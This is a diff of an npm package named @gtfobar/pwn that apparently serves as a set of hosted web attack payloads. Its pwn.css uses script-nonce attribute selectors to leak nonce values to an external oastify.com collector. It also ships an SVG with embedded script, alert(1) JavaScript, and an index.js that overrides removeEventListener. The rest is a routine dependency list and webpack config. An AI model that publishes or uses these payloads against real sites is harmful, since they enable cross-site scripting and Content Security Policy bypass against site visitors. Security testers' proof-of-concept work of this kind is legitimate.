@gtfobar/pwn 1.0.11

package/dist/black.css

@@ -0,0 +1,3 @@
+body {
+	background-color: #000000;
+}

package/dist/pwn.css

@@ -0,0 +1,2 @@
+script[nonce=^y] { background: url("https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?y");}
+script[nonce=zalupa] { background: url("https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?you-suck-today");}

package/dist/pwn.js

@@ -0,0 +1 @@
+alert(1)

package/dist/pwn.svg

@@ -0,0 +1,9 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
+   <script type="text/javascript" nonce="you-are-pwned">
+      alert('xss');
+   </script>
+</svg>

package/package.json

@@ -0,0 +1,100 @@
+{
+  "name": "@gtfobar/pwn",
+  "version": "1.0.11",
+  "main": "dist/pwn.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "webpack": "^5.89.0",
+    "webpack-cli": "^5.1.4"
+  },
+  "dependencies": {
+    "acorn": "^8.11.2",
+    "acorn-import-assertions": "^1.9.0",
+    "ajv": "^6.12.6",
+    "ajv-keywords": "^3.5.2",
+    "browserslist": "^4.22.2",
+    "buffer-from": "^1.1.2",
+    "caniuse-lite": "^1.0.30001566",
+    "chrome-trace-event": "^1.0.3",
+    "clone-deep": "^4.0.1",
+    "colorette": "^2.0.20",
+    "commander": "^2.20.3",
+    "cross-spawn": "^7.0.3",
+    "electron-to-chromium": "^1.4.609",
+    "enhanced-resolve": "^5.15.0",
+    "envinfo": "^7.11.0",
+    "es-module-lexer": "^1.4.1",
+    "escalade": "^3.1.1",
+    "eslint-scope": "^5.1.1",
+    "esrecurse": "^4.3.0",
+    "estraverse": "^4.3.0",
+    "events": "^3.3.0",
+    "fast-deep-equal": "^3.1.3",
+    "fast-json-stable-stringify": "^2.1.0",
+    "fastest-levenshtein": "^1.0.16",
+    "find-up": "^4.1.0",
+    "flat": "^5.0.2",
+    "function-bind": "^1.1.2",
+    "glob-to-regexp": "^0.4.1",
+    "graceful-fs": "^4.2.11",
+    "has-flag": "^4.0.0",
+    "hasown": "^2.0.0",
+    "import-local": "^3.1.0",
+    "interpret": "^3.1.1",
+    "is-core-module": "^2.13.1",
+    "is-plain-object": "^2.0.4",
+    "isexe": "^2.0.0",
+    "isobject": "^3.0.1",
+    "jest-worker": "^27.5.1",
+    "json-parse-even-better-errors": "^2.3.1",
+    "json-schema-traverse": "^0.4.1",
+    "kind-of": "^6.0.3",
+    "loader-runner": "^4.3.0",
+    "locate-path": "^5.0.0",
+    "merge-stream": "^2.0.0",
+    "mime-db": "^1.52.0",
+    "mime-types": "^2.1.35",
+    "neo-async": "^2.6.2",
+    "node-releases": "^2.0.14",
+    "p-limit": "^2.3.0",
+    "p-locate": "^4.1.0",
+    "p-try": "^2.2.0",
+    "path-exists": "^4.0.0",
+    "path-key": "^3.1.1",
+    "path-parse": "^1.0.7",
+    "picocolors": "^1.0.0",
+    "pkg-dir": "^4.2.0",
+    "punycode": "^2.3.1",
+    "randombytes": "^2.1.0",
+    "rechoir": "^0.8.0",
+    "resolve": "^1.22.8",
+    "resolve-cwd": "^3.0.0",
+    "resolve-from": "^5.0.0",
+    "safe-buffer": "^5.2.1",
+    "schema-utils": "^3.3.0",
+    "serialize-javascript": "^6.0.1",
+    "shallow-clone": "^3.0.1",
+    "shebang-command": "^2.0.0",
+    "shebang-regex": "^3.0.0",
+    "source-map": "^0.6.1",
+    "source-map-support": "^0.5.21",
+    "supports-color": "^8.1.1",
+    "supports-preserve-symlinks-flag": "^1.0.0",
+    "tapable": "^2.2.1",
+    "terser": "^5.26.0",
+    "terser-webpack-plugin": "^5.3.9",
+    "undici-types": "^5.26.5",
+    "update-browserslist-db": "^1.0.13",
+    "uri-js": "^4.4.1",
+    "watchpack": "^2.4.0",
+    "webpack-merge": "^5.10.0",
+    "webpack-sources": "^3.2.3",
+    "which": "^2.0.2",
+    "wildcard": "^2.0.1"
+  },
+  "description": ""
+}

package/src/index.js

@@ -0,0 +1 @@
+exports.removeEventListener = function () {alert(1);}

package/webpack.config.js

@@ -0,0 +1,13 @@
+const path = require('path');
+
+module.exports = {
+  mode: 'development',
+  entry: './src/index.js',
+  output: {
+    path: path.resolve(__dirname, 'dist'),
+    filename: 'pwn.css',
+    library: "pwn",
+    libraryTarget: 'umd',
+    globalObject: 'this'
+  },
+};